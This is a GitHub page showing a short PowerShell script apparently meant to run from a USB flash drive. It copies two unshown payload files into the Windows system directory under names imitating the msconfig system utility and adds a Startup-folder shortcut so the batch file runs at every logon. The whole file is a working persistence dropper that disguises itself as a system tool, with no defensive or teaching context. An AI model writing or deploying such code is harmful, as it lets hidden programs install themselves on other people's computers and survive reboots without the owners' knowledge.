-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathmainForRunOnFlash.ps1
More file actions
36 lines (36 loc) · 1.06 KB
/
mainForRunOnFlash.ps1
File metadata and controls
36 lines (36 loc) · 1.06 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$mainPS1Path=[Environment]::SystemDirectory+"\MSConfig.ps1"
$mainBatPath=[Environment]::SystemDirectory+"\MSConfigbat.bat"
$mainShortcutPath=[Environment]::GetFolderPath("Startup")+"\msconfig.lnk"
function makeMain(){
if(-not (Test-Path -Path $mainPS1Path)){
New-Item -Path $mainPS1Path -Value (Get-Content -Path .\1.ps1)
}
else{
Set-Content -Path $mainPS1Path -Value (Get-Content -Path .\1.ps1)
}
return $true
}
function makeBat(){
if(-not (Test-Path -Path $mainBatPath)){
New-Item -Path $mainBatPath -Value (Get-Content -Path .\2.txt)
}
else{
Set-Content -Path $mainBatPath -Value (Get-Content -Path .\2.txt)
}
return $true
}
function makeBatshortcut(){
$WScriptShell = New-Object -ComObject WScript.Shell
if(-not (Test-Path -Path $mainShortcutPath)){
$Shortcut = $WScriptShell.CreateShortcut($mainShortcutPath)
$Shortcut.TargetPath = $mainBatPath
$Shortcut.Save()
}
return $true
}
function mainFunc () {
makeMain
makeBat
makeBatshortcut
}
mainFunc